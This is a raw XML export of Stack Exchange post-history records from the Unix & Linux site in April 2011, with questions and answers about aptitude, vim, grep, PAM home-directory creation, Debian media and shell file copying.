  <row Id="27655" PostHistoryTypeId="2" PostId="11401" RevisionGUID="98a88d05-670b-4cd0-b93d-f4e2e01968e2" CreationDate="2011-04-15T19:05:15.593" UserId="885" Text="Are you sure it's less doing the truncation and not aptitude? I notice that aptitude truncates to 80 columns by default when you redirect its output. Try `aptitude search foo | cat` and see if your output is truncated.&#xD;&#xA;&#xD;&#xA;When you filter the output of a command, it's debatable whether it's best to truncate at the terminal width, at 80 columns or not at all. In fact the command can't know whether its output is eventually going to the terminal, so truncating to the terminal width is dubious.&#xD;&#xA;&#xD;&#xA;You can run `aptitude --disable-columns` to make aptitude not truncate at all, but it won't align its output either. If your shell is bash or zsh, you can obtain the terminal width from the `COLUMNS` shell variable and pass it to aptitude:&#xD;&#xA;&#xD;&#xA;    aptitude -w $COLUMNS search foo |less&#xD;&#xA;" />
  <row Id="27656" PostHistoryTypeId="6" PostId="11364" RevisionGUID="5ca59155-1547-450e-9d2d-e02a874f43e7" CreationDate="2011-04-15T19:12:19.147" UserId="885" Comment="edited tags" Text="épackageömanagementàéopensuseàéxvfbà" />
  <row Id="27657" PostHistoryTypeId="6" PostId="11361" RevisionGUID="2c31fccc-d785-4e84-8618-78a2152bf566" CreationDate="2011-04-15T19:17:43.310" UserId="885" Comment="edited tags" Text="égnomeàéhardödiskà" />
  <row Id="27658" PostHistoryTypeId="6" PostId="11380" RevisionGUID="897e7f87-4bc9-426b-a685-7874665d3e3c" CreationDate="2011-04-15T19:20:29.050" UserId="885" Comment="edited tags" Text="ébashàéstringàéreplaceà" />
  <row Id="27659" PostHistoryTypeId="6" PostId="11376" RevisionGUID="59df663f-2c7f-417f-b9cb-cb10b8dd73bd" CreationDate="2011-04-15T19:33:23.553" UserId="885" Comment="edited tags" Text="éshellàécommandölineàéutilitiesàédoubleödashà" />
  <row Id="27660" PostHistoryTypeId="2" PostId="11402" RevisionGUID="060e3935-bd55-4b83-b227-10e30f4dd590" CreationDate="2011-04-15T19:33:52.993" UserId="5045" Text="In vim, when I hit `ESC` to return to command mode, the cursor moves one character to the left.  This is not what I would hope for, occasional I immediately hit `l` to move back to that spot, perhaps to delete a character.&#xD;&#xA;&#xD;&#xA;Is there a reason for this behavior? Is this convenient for a pattern of usage that I'm missing? I am new to vim." />
  <row Id="27661" PostHistoryTypeId="1" PostId="11402" RevisionGUID="060e3935-bd55-4b83-b227-10e30f4dd590" CreationDate="2011-04-15T19:33:52.993" UserId="5045" Text="Why does `ESC` move the cursor back in vim?" />
  <row Id="27662" PostHistoryTypeId="3" PostId="11402" RevisionGUID="060e3935-bd55-4b83-b227-10e30f4dd590" CreationDate="2011-04-15T19:33:52.993" UserId="5045" Text="évimàévià" />
  <row Id="27663" PostHistoryTypeId="2" PostId="11403" RevisionGUID="19558b55-1833-4b13-9d5f-5a942491e1f5" CreationDate="2011-04-15T19:39:13.690" UserId="1925" Text="This behavior is editable [as answered here][1], but stop and think about what's going on for a second. When you are in insert mode, you are not actually over a character but BETWEEN them. When you insert something, the cursor jumps to the end of what you inserted so that the next thing inserted will be after that. Now think about if you just typed a letter, then wanted to do something to it. Hitting &lt;kbd&gt;Esc&lt;/kbd&gt; would put the select cursor directly over the last character you inserted. If it didn't do this, it would actually be rather awkward.&#xD;&#xA;&#xD;&#xA;The situation you are probably thinking of is when you are in insert mode moving around as if you were normal mode and then switch. In that case the cursor does appear to go back one character, but if you think that way it shows that you were in insert mode and the last thing you did was NOT insert. Maybe you should spend more time in normal mode?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/q/2295410/313192" />
  <row Id="27665" PostHistoryTypeId="19" PostId="5208" RevisionGUID="8b08ff87-4301-4280-bc2f-edbc35221e6e" CreationDate="2011-04-15T19:55:16.437" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27668" PostHistoryTypeId="2" PostId="11405" RevisionGUID="7521d5f1-1122-4909-9f6a-34b701fbb9d8" CreationDate="2011-04-15T20:13:11.507" UserId="885" Text="In insert mode, the cursor is between characters, or before the first or after the last character. In normal mode, the cursor is over a character (newlines are not characters for this purpose). This is somewhat unusual: most editors always put the cursor between characters, and have most commands act on the character *after* (not, strictly speaking, *under*) the cursor. This is perhaps partly due to the fact that before GUIs, text terminals always *showed* the cursor on a character (underline or block, perhaps blinking). This abstraction fails in insert mode because that requires one more position (posts vs fences).&#xD;&#xA;&#xD;&#xA;Switching between modes has to move the cursor by a half-character, so to speak. The `i` command moves left, to put the cursor before the character it was over. The `a` command moves right. Going out of insert mode (by pressing &lt;kbd&gt;Esc&lt;/kbd&gt;) moves the cursor left if possible (if it's at the beginning of the line, it's moved right instead).&#xD;&#xA;&#xD;&#xA;I suppose the &lt;kbd&gt;Esc&lt;/kbd&gt; behavior sort of makes sense. Often, you're typing at the end of the line, and there &lt;kbd&gt;Esc&lt;/kbd&gt; can only go left. So the general behavior is the most common behavior.&#xD;&#xA;&#xD;&#xA;Think of the character under the cursor as the last interesting character, and of the insert command as `a`. You can repeat &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;Esc&lt;/kbd&gt; without moving the cursor, except that you'll be bumped one position right if you start at the beginning of a non-empty line.&#xD;&#xA;" />
  <row Id="27669" PostHistoryTypeId="2" PostId="11406" RevisionGUID="9a00c08d-a33e-45d0-bdd9-1539110f533a" CreationDate="2011-04-15T20:14:36.657" UserId="6118" Text="I know that I can use grep for a single file, but what about a whole directory tree?" />
  <row Id="27670" PostHistoryTypeId="1" PostId="11406" RevisionGUID="9a00c08d-a33e-45d0-bdd9-1539110f533a" CreationDate="2011-04-15T20:14:36.657" UserId="6118" Text="How to search for file contents" />
  <row Id="27671" PostHistoryTypeId="3" PostId="11406" RevisionGUID="9a00c08d-a33e-45d0-bdd9-1539110f533a" CreationDate="2011-04-15T20:14:36.657" UserId="6118" Text="égrepàéfilesàéfindàésearchà" />
  <row Id="27672" PostHistoryTypeId="2" PostId="11407" RevisionGUID="05d1ae77-90d8-42a9-8eba-218bd03e3451" CreationDate="2011-04-15T20:16:36.713" UserId="2511" Text="`grep -r searchpattern /path/to/start/in`&#xD;&#xA;&#xD;&#xA;Where `/path/to/start/in/` can be just &quot;`.`&quot; for the current directory." />
  <row Id="27673" PostHistoryTypeId="6" PostId="7383" RevisionGUID="f5bf9955-ae78-4940-a546-a4495b2f6710" CreationDate="2011-04-15T20:41:00.027" UserId="885" Comment="edited tags" Text="élinuxàégrepàéfindàérecursiveà" />
  <row Id="27674" PostHistoryTypeId="2" PostId="11408" RevisionGUID="c7bf545a-c558-43d7-b2d2-52386e330884" CreationDate="2011-04-15T20:54:25.450" UserId="885" Text="NIS is a way to obtain data (authentication data, path to home directory, …) about users (and other stuff). *Doing* things (e.g. creating a directory) is not its job. So I think you're looking in the wrong place.&#xD;&#xA;&#xD;&#xA;Most unices use [PAM](http://en.wikipedia.org/wiki/Pluggable_Authentication_Modules) to manage logins (not just authentication but also credential management, account management and most relevantly session management). The [Linux implementation](http://www.kernel.org/pub/linux/libs/pam/) (and others) includes a module called [`pam_mkhomedir`](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_mkhomedir.html) which does exactly what you want. Put this line in `/etc/pam.d/*` for each service that allows local users to log in (or in `/etc/pam.d/common-session` if you have that):&#xD;&#xA;&#xD;&#xA;    session    required    pam_mkhomedir.so skel=/etc/skel/&#xD;&#xA;" />
  <row Id="27675" PostHistoryTypeId="6" PostId="11394" RevisionGUID="fed72f5f-49e9-4df7-a38e-83276f6f99f4" CreationDate="2011-04-15T20:54:48.303" UserId="885" Comment="edited tags" Text="éusersàédirectoryàéloginàénisà" />
  <row Id="27677" PostHistoryTypeId="25" PostId="11402" RevisionGUID="84d0201b-56b0-4bf1-ba56-5fba4e4bf9b2" CreationDate="2011-04-15T21:09:09.497" Comment="http://twitter.com/#!/StackUnix/status/59000330347753472" />
  <row Id="27678" PostHistoryTypeId="5" PostId="11406" RevisionGUID="819aecd2-c7b2-4e78-a1e1-37799a9805b4" CreationDate="2011-04-15T21:16:33.400" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Finding a substring in files across subdirectories with a single built-in command?](http://unix.stackexchange.com/questions/7383/finding-a-substring-in-files-across-subdirectories-with-a-single-built-in-command)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I know that I can use grep for a single file, but what about a whole directory tree?" />
  <row Id="27679" PostHistoryTypeId="10" PostId="11406" RevisionGUID="c3c2880c-f7ab-4825-bfa8-6e7e2806cfaa" CreationDate="2011-04-15T21:16:33.043" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27680" PostHistoryTypeId="18" PostId="11406" RevisionGUID="5da5418c-ec62-4fe2-9fc6-134a47e70517" CreationDate="2011-04-15T21:16:51.217" UserId="73" Comment="to http://unix.stackexchange.com/questions/7383/finding-a-substring-in-files-across-subdirectories-with-a-single-built-in-command" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27681" PostHistoryTypeId="18" PostId="11407" RevisionGUID="5da5418c-ec62-4fe2-9fc6-134a47e70517" CreationDate="2011-04-15T21:16:51.217" UserId="73" Comment="from http://unix.stackexchange.com/questions/11406/how-to-search-for-file-contents" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27682" PostHistoryTypeId="18" PostId="7383" RevisionGUID="5da5418c-ec62-4fe2-9fc6-134a47e70517" CreationDate="2011-04-15T21:16:51.217" UserId="73" Comment="from http://unix.stackexchange.com/questions/11406/how-to-search-for-file-contents" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27683" PostHistoryTypeId="14" PostId="11406" RevisionGUID="0d740a7d-46ef-4387-9382-3f0afc34a1d6" CreationDate="2011-04-15T21:16:51.467" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27684" PostHistoryTypeId="2" PostId="11409" RevisionGUID="4aa6a49b-3c92-4df7-b941-3e6ba0b470d9" CreationDate="2011-04-15T21:20:37.947" UserId="6290" Text="In 7th Edition Unix, the file descriptor is an index to a table in the user structure which is simply an array of pointers into the [system global] open file table. So the file descriptor itself is really an _indirect_ reference, a 'pointer to a pointer' of sorts.&#xD;&#xA;&#xD;&#xA;            struct file *u_ofile[NOFILE]; /* pointers to file structures of open files */&#xD;&#xA;&#xD;&#xA;The open file table itself contains the read/write mode a file was opened with, a pointer to the inode, the position, and probably dozens of other things on modern systems. I have no idea if the file descriptor table contains anything more than a pointer or index into the open file table on modern systems.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/h/user.h (u_ofile)&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/h/file.h&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/sys/fio.c (getf)" />
  <row Id="27685" PostHistoryTypeId="17" PostId="11411" RevisionGUID="b18f3f4f-dd74-41fe-9b8b-53f993402f0e" CreationDate="2011-04-15T21:56:38.803" UserId="-1" Comment="from http://serverfault.com/questions/260135/debian-installation-media-with-non-free-packages/260139#260139" Text="" />
  <row Id="27686" PostHistoryTypeId="17" PostId="11412" RevisionGUID="74394004-6dcd-4dcd-b479-2326b0867ea4" CreationDate="2011-04-15T21:56:38.803" UserId="-1" Comment="from http://serverfault.com/questions/260135/debian-installation-media-with-non-free-packages/260141#260141" Text="" />
  <row Id="27687" PostHistoryTypeId="2" PostId="11411" RevisionGUID="36a38b5f-d6df-4dd4-85d0-fd55499dc9c8" CreationDate="2011-04-15T14:48:04.460" UserId="6546" Text="Do you mean non-free firmware? If so, I found a link to some images here:&#xD;&#xA;&#xD;&#xA;http://www.debian.org/releases/stable/debian-installer/" />
  <row Id="27688" PostHistoryTypeId="2" PostId="11412" RevisionGUID="ade09ff4-07cf-409e-aaac-b3becb21b27e" CreationDate="2011-04-15T14:48:54.330" UserId="6241" Text="Here's the policy from [Debian - Non Free Software][1]:&#xD;&#xA;&#xD;&#xA;`Where is the CD image with non-free?`  &#xD;&#xA;&#xD;&#xA;Debian has a quite strict view with regard to the licenses of software: Only software that is Free in the sense of the Debian Free Software Guidelines is allowed into the actual distribution. All the other, non-free software (for example, software for which source code is not available) is not supported officially.&#xD;&#xA;&#xD;&#xA;The official CDs may freely be used, copied and sold by anyone anywhere in the world. Packages of the non-free category have restrictions that conflict with this, so these packages are not placed on the official CDs.&#xD;&#xA;&#xD;&#xA;Sometimes, someone is kind enough to create unofficial non-free CDs. If you cannot find any links on this website, you can try asking on the debian-cd mailing list.`&#xD;&#xA;&#xD;&#xA;[Mailing List FAQ][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/CD/faq/#nonfree&#xD;&#xA;  [2]: http://www.debian.org/CD/faq/#mailing-list" />
  <row Id="27689" PostHistoryTypeId="2" PostId="11410" RevisionGUID="2139b59e-fcd8-472f-8213-a6be708f69c3" CreationDate="2011-04-15T14:42:41.793" UserId="2466" Text="Are there any Debian DVDs (Lenny, 5.0) out there that include the non-free hardware driver components? " />
  <row Id="27690" PostHistoryTypeId="1" PostId="11410" RevisionGUID="2139b59e-fcd8-472f-8213-a6be708f69c3" CreationDate="2011-04-15T14:42:41.793" UserId="2466" Text="Debian installation media with non-free packages?" />
  <row Id="27691" PostHistoryTypeId="3" PostId="11410" RevisionGUID="2139b59e-fcd8-472f-8213-a6be708f69c3" CreationDate="2011-04-15T14:42:41.793" UserId="2466" Text="édebianàédriversà" />
  <row Id="27692" PostHistoryTypeId="17" PostId="11410" RevisionGUID="fd094970-ec26-43c4-8208-5bbbdd4a14de" CreationDate="2011-04-15T21:56:38.803" UserId="-1" Comment="from http://serverfault.com/questions/260135/debian-installation-media-with-non-free-packages" Text="" />
  <row Id="27693" PostHistoryTypeId="5" PostId="11412" RevisionGUID="87543761-1197-400e-97db-3c51e0c8858a" CreationDate="2011-04-15T21:59:37.577" UserId="1207" Comment="made the quoting clear" Text="Here's the policy from [Debian - Non Free Software][1]:&#xD;&#xA;&#xD;&#xA;&gt; **Where is the CD image with non-free?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; Debian has a quite strict view with&#xD;&#xA;&gt; regard to the licenses of software:&#xD;&#xA;&gt; Only software that is Free in the&#xD;&#xA;&gt; sense of the Debian Free Software&#xD;&#xA;&gt; Guidelines is allowed into the actual&#xD;&#xA;&gt; distribution. All the other, non-free&#xD;&#xA;&gt; software (for example, software for&#xD;&#xA;&gt; which source code is not available) is&#xD;&#xA;&gt; not supported officially.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The official CDs may freely be used,&#xD;&#xA;&gt; copied and sold by anyone anywhere in&#xD;&#xA;&gt; the world. Packages of the non-free&#xD;&#xA;&gt; category have restrictions that&#xD;&#xA;&gt; conflict with this, so these packages&#xD;&#xA;&gt; are not placed on the official CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sometimes, someone is kind enough to&#xD;&#xA;&gt; create unofficial non-free CDs. If you&#xD;&#xA;&gt; cannot find any links on this website,&#xD;&#xA;&gt; you can try asking on the debian-cd&#xD;&#xA;&gt; mailing list.&#xD;&#xA;&#xD;&#xA;[Mailing List FAQ][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/CD/faq/#nonfree&#xD;&#xA;  [2]: http://www.debian.org/CD/faq/#mailing-list" />
  <row Id="27694" PostHistoryTypeId="6" PostId="11410" RevisionGUID="117e4be7-626a-4112-80f9-d75103b45877" CreationDate="2011-04-15T22:00:09.880" UserId="885" Comment="edited tags" Text="édebianàédriversàédistributionömediaà" />
  <row Id="27695" PostHistoryTypeId="5" PostId="11390" RevisionGUID="99ead855-0d00-43b4-9373-a38298845996" CreationDate="2011-04-15T22:36:33.957" UserId="1207" Comment="deleted 7 characters in body" Text="Not a &quot;Bash-only&quot; answer, but perhaps useful:&#xD;&#xA;&#xD;&#xA;    echo &quot;$PWD///&quot; | tr -s '/'" />
  <row Id="27696" PostHistoryTypeId="2" PostId="11413" RevisionGUID="7aaea646-987c-4bb0-890c-c530d2f71512" CreationDate="2011-04-15T22:56:06.843" UserId="1078" Text="The basic problem is that the formatting is done by one program and the paging is done by another. Even if the formatter were to get a signal that the window size has changed and reformat the text for the new window size, all it can do is feed new text down the pipeline to the pager. There's no way for the pager to know with certainty what position in the new stream corresponds to the position in the old stream it was currently displaying.&#xD;&#xA;&#xD;&#xA;What you need is for the pager to be able to do the reformatting. As @Robin Green said, that's HTML.&#xD;&#xA;&#xD;&#xA;If you want to use HTML but still work in a terminal, you can tell `man(1)` to output in HTML and call a text-mode browser to display it.&#xD;&#xA;&#xD;&#xA;    man -Hlynx man&#xD;&#xA;&#xD;&#xA;That will display the `man(1)` manpage in the lynx text-mode browser. Lynx does not directly respond to window size changes, but you can press ctrl-R and lynx will re-render the page for the new window size.&#xD;&#xA;&#xD;&#xA;There are two other text-mode browsers that I know of: links and elinks. You could experiment with those and lynx and determine which give you the best experience for browsing man pages. You may want to use a custom configuration just for man pages and invoke a script that invokes the browser with that specific configuration.&#xD;&#xA;&#xD;&#xA;You can put the man options you like into the `MANOPT` environment variable.&#xD;&#xA;&#xD;&#xA;    $ export MANOPT=-Hlynx&#xD;&#xA;    $ export MANOPT=-Hmanlynx # manlynx invokes lynx with a different configuration.&#xD;&#xA;&#xD;&#xA;You will need to install the `groff` package for `man` to be able to generate HTML." />
  <row Id="27697" PostHistoryTypeId="2" PostId="11414" RevisionGUID="4bf747ae-5f07-428c-861c-70f8435b9296" CreationDate="2011-04-15T23:14:58.750" UserId="3001" Text="OpenSUSE 11.4 (at least) does use Bcrypt by default." />
  <row Id="27698" PostHistoryTypeId="2" PostId="11415" RevisionGUID="2e149d4f-4cdf-45fe-9c31-2f0d6cb91a5f" CreationDate="2011-04-15T23:29:48.790" UserId="4485" Text="The simplest way, you can build yourself: &#xD;&#xA;&#xD;&#xA;    locate $(zenity --entry --text &quot;Geeklow&quot;) | zenity --list --column=&quot;files&quot;&#xD;&#xA;&#xD;&#xA;It can be improved: &#xD;&#xA;&#xD;&#xA; * Don't show results if User left entry empty or hit &lt;kbd&gt; ESC&lt;/kbd&gt;&#xD;&#xA; * calculate width of longest filename and number of filelengths and &#xD;&#xA; * get the screen width and heigth, to make the window as large as possible, to display almost all files found, if they fit the screensize &#xD;&#xA; * More and better dialog text, frame text&#xD;&#xA; * but then it gets iffy :) and long &#xD;&#xA;&#xD;&#xA;But: There is a reason, why people use **locate** directly: &#xD;&#xA;&#xD;&#xA; * It's the right tool for the job&#xD;&#xA; * it has options like -i (which they will find again on find -iname and grep -i and so on) &#xD;&#xA; * it's combinable in pipes &#xD;&#xA; * it's usable in $(...) &#xD;&#xA; * command completion &#xD;&#xA; * the shell is already open" />
  <row Id="27699" PostHistoryTypeId="2" PostId="11416" RevisionGUID="29a31011-5762-4c31-946e-f7389867e38a" CreationDate="2011-04-15T23:46:50.860" UserId="4485" Text="USB-1.0, -1.1, 2 or 3? For lower versions, a harddrive or usbstick could be faster than the bus. So if you get a higher bandwith on another PC, you could test it with simple file transfer." />
  <row Id="27700" PostHistoryTypeId="25" PostId="11394" RevisionGUID="13a4c7e4-1af5-4cb6-aede-408abf1eb3b4" CreationDate="2011-04-16T00:09:09.770" Comment="http://twitter.com/#!/StackUnix/status/59045630466732032" />
  <row Id="27701" PostHistoryTypeId="5" PostId="11359" RevisionGUID="1006bb20-4f9a-4044-be5a-387778781a4a" CreationDate="2011-04-16T00:53:15.813" UserId="6607" Comment="added solution for alternate interpretation of original question" Text="Assuming the original question meant to *count* the number of lines matching the above requirements, then this should do it:&#xD;&#xA;&#xD;&#xA;    grep -e '\&lt;[[:upper:]][[:alpha:]]\{4,9\}\&gt;' file|wc -l&#xD;&#xA;&#xD;&#xA;Assuming it meant to *print* the line numbers that match:&#xD;&#xA;&#xD;&#xA;    awk --re-interval '{line = line + 1} /\&lt;[[:upper:]][[:alpha:]]{4,9}\&gt;/ {print line}' file" />
  <row Id="27702" PostHistoryTypeId="2" PostId="11417" RevisionGUID="6df8e53e-b1dc-4a5b-a148-71e65bd5fae6" CreationDate="2011-04-16T01:16:04.430" UserId="5672" Text="Hey there.&#xD;&#xA;I've installed Ubuntu Server 10.10, and when I press up at the terminal nothing happens. At Ubuntu Desktop it gave me the previous command that I run.&#xD;&#xA;&#xD;&#xA;How can I make it in Ubuntu Server as well?" />
  <row Id="27703" PostHistoryTypeId="1" PostId="11417" RevisionGUID="6df8e53e-b1dc-4a5b-a148-71e65bd5fae6" CreationDate="2011-04-16T01:16:04.430" UserId="5672" Text="Pressing up at tty in Ubuntu Server" />
  <row Id="27704" PostHistoryTypeId="3" PostId="11417" RevisionGUID="6df8e53e-b1dc-4a5b-a148-71e65bd5fae6" CreationDate="2011-04-16T01:16:04.430" UserId="5672" Text="éubuntuà" />
  <row Id="27705" PostHistoryTypeId="17" PostId="11419" RevisionGUID="075fd5cd-410c-48a7-a3b7-d21bd83bf416" CreationDate="2011-04-16T01:26:51.233" UserId="-1" Comment="from http://stackoverflow.com/questions/5679042/debian-copy-cp-multiple-files-from-filename-x-to-filename-y/5679100#5679100" Text="" />
  <row Id="27706" PostHistoryTypeId="2" PostId="11419" RevisionGUID="ebf3e4da-af84-40d9-9ced-e79710102698" CreationDate="2011-04-15T15:35:52.563" UserDisplayName="Sami Lehtinen" Text="Simplest in this example is to use M-* to complete your pattern and remove the ones you don't want to copy.&#xD;&#xA;&#xD;&#xA;    % cp *[hit Escape and press *]&#xD;&#xA;    -&gt;&#xD;&#xA;    % cp file1 file2 file3 file4 ... &#xD;&#xA;&#xD;&#xA;and then just manually removing the files you don't want to copy.  Anyways, this is a shell feature, not `cp`'s.&#xD;&#xA;&#xD;&#xA;You can refine the pattern as you wish.  If you had many other files in the directory and you only want to copy ones starting with `a`, you'd just begin the pattern with that letter.  You might want to lookup the shell's documentation on filename globbing.  For example, &lt;http://tldp.org/LDP/abs/html/globbingref.html&gt;." />
  <row Id="27707" PostHistoryTypeId="2" PostId="11418" RevisionGUID="cd98aeec-711f-4087-b8d2-b5d055b8670d" CreationDate="2011-04-15T15:30:48.853" UserDisplayName="Tiax" Text="I'm pretty noob when it comes to unix commands. What I want to do is to copy files within a range.&#xD;&#xA;&#xD;&#xA;Example of files:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;-rw-r--r--   1 root root   15276 Oct  5  2004 a2ps.cfg&lt;/li&gt;&#xD;&#xA;&lt;li&gt;-rw-r--r--   1 root root    2562 Oct  5  2004 a2ps-site.cfg&lt;/li&gt;&#xD;&#xA;&lt;li&gt;-rw-r--r--   4 root root    4096 Feb  2  2007 acpi.txt&lt;/li&gt;&#xD;&#xA;&lt;li&gt;-rw-r--r--   1 root root      48 Feb  8  2008 adjtime.jpg&lt;/li&gt;&#xD;&#xA;&lt;li&gt;-rw-r--r--   4 root root    4096 Feb  2  2007 alchemist.jpg&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Example of use:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Copy files asps.cfg to acpi.txt (3 files)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Copy files a2ps-site.cfg to adjtime.jpg (3 files)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Copy files a2ps-site.cfg to alchemist.jpg (4 files)&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;So is there any way to copy a range of files from filename X to filename Y?&#xD;&#xA;&#xD;&#xA;Like: cp filenameX ... filenameY destination/" />
  <row Id="27708" PostHistoryTypeId="1" PostId="11418" RevisionGUID="cd98aeec-711f-4087-b8d2-b5d055b8670d" CreationDate="2011-04-15T15:30:48.853" UserDisplayName="Tiax" Text="Debian copy (cp) multiple files from filename X to filename Y?" />
  <row Id="27709" PostHistoryTypeId="3" PostId="11418" RevisionGUID="cd98aeec-711f-4087-b8d2-b5d055b8670d" CreationDate="2011-04-15T15:30:48.853" UserDisplayName="Tiax" Text="écpà" />
  <row Id="27710" PostHistoryTypeId="17" PostId="11418" RevisionGUID="f889eddf-9c98-455f-88fa-e7d4fd39834c" CreationDate="2011-04-16T01:26:51.233" UserId="-1" Comment="from http://stackoverflow.com/questions/5679042/debian-copy-cp-multiple-files-from-filename-x-to-filename-y" Text="" />
  <row Id="27711" PostHistoryTypeId="2" PostId="11420" RevisionGUID="7a096287-2c40-4e7b-ad83-c598f6e9183e" CreationDate="2011-04-16T02:39:14.457" UserId="6635" Text="It seems file names are sorted and you seem to distribute in same amounts.&#xD;&#xA;&#xD;&#xA;Get all file names to a single file&#xD;&#xA;&#xD;&#xA;`ls &gt; all_files`&#xD;&#xA;&#xD;&#xA;Split the file into batches&#xD;&#xA;&#xD;&#xA;`split -l 4 all_files all_files-`&#xD;&#xA;&#xD;&#xA;You now have 4 filenames in each file, `all_files-*`&#xD;&#xA;&#xD;&#xA;Pick one, say `all_files-aa` and do your copy:&#xD;&#xA;&#xD;&#xA;`xargs -I{} cp {} folder_for_batch_1 &lt; all_files-aa`" />
  <row Id="27712" PostHistoryTypeId="25" PostId="11373" RevisionGUID="bb4bb2b3-f513-4c57-b85a-d90b70a3d216" CreationDate="2011-04-16T03:09:09.603" Comment="http://twitter.com/#!/StackUnix/status/59090927339307009" />
  <row Id="27713" PostHistoryTypeId="2" PostId="11421" RevisionGUID="7b3f29f6-3e37-48c2-9373-efa7cf89d7fe" CreationDate="2011-04-16T03:14:48.327" UserId="1078" Text="A generic approach is to define a shell function that prints a range of filenames. A simple version of this function will list all the files between two filenames inclusive in the current directory:&#xD;&#xA;&#xD;&#xA;    range()&#xD;&#xA;    {&#xD;&#xA;        ls | sed -n &quot;/^$1\$/,/^$2\$/p&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This uses a sed range saying to print out anything between the two given strings (`$1` and `$2`).&#xD;&#xA;&#xD;&#xA;You can then use this function in your `cp(1)` command:&#xD;&#xA;&#xD;&#xA;    cp $(range asps.cfg acpi.txt) /destination/path&#xD;&#xA;&#xD;&#xA;This will fail if you have filenames with spaces in them. For that, you need to get a little more complicated:&#xD;&#xA;&#xD;&#xA;    range asps.cfg acpi.txt | xargs -d '\n' -I {} cp {} /destination/path&#xD;&#xA;&#xD;&#xA;That will fail if your filenames have newlines (\n) in them. That is very unlikely, so fixing that is left as an exercise for the reader.&#xD;&#xA;&#xD;&#xA;You could roll that together into another shell function:&#xD;&#xA;&#xD;&#xA;    cprange()&#xD;&#xA;    {&#xD;&#xA;        range &quot;$1&quot; &quot;$2&quot; | xargs -d '\n' -I {} cp {} &quot;$3&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and use it like:&#xD;&#xA;&#xD;&#xA;    cprange filenameX filenameY destination&#xD;&#xA;&#xD;&#xA;Remember, range only works for filenames in the current directory. You can expand on that in a number of ways (additional directory parameter to `range`, give a path as arguments to `range` and use `dirname` to extract a name, etc) but I'll leave that up to you based on your requirements. Please ask if you want more details here." />
  <row Id="27714" PostHistoryTypeId="5" PostId="11421" RevisionGUID="b4f4a1cf-6af9-4217-b7ae-17535bcbfed0" CreationDate="2011-04-16T03:19:52.193" UserId="1078" Comment="deleted 15 characters in body" Text="A generic approach is to define a shell function that prints a range of filenames. A simple version of this function will list all the files between two filenames inclusive in the current directory:&#xD;&#xA;&#xD;&#xA;    range()&#xD;&#xA;    {&#xD;&#xA;        ls | sed -n &quot;/^$1\$/,/^$2\$/p&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This uses a sed range saying to print out anything between the two given strings (`$1` and `$2`).&#xD;&#xA;&#xD;&#xA;You can then use this function in your `cp(1)` command:&#xD;&#xA;&#xD;&#xA;    cp $(range asps.cfg acpi.txt) /destination/path&#xD;&#xA;&#xD;&#xA;This will fail if you have filenames with spaces in them. For that, you need to get a little more complicated:&#xD;&#xA;&#xD;&#xA;    range asps.cfg acpi.txt | xargs -d '\n' -I {} cp {} /destination/path&#xD;&#xA;&#xD;&#xA;That will fail if your filenames have newlines (\n) in them. That is very unlikely, so fixing that is left as an exercise for the reader.&#xD;&#xA;&#xD;&#xA;You could roll that together into another shell function:&#xD;&#xA;&#xD;&#xA;    cprange()&#xD;&#xA;    {&#xD;&#xA;        range &quot;$1&quot; &quot;$2&quot; | xargs -d '\n' -I {} cp {} &quot;$3&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and use it like:&#xD;&#xA;&#xD;&#xA;    cprange filenameX filenameY destination&#xD;&#xA;&#xD;&#xA;Remember, range only works for filenames in the current directory. You can expand on that in a number of ways (additional directory parameter to `range`, extract a path from arguments to `range` using `dirname`, etc) but I'll leave that up to you based on your requirements. Please ask if you want more details here." />
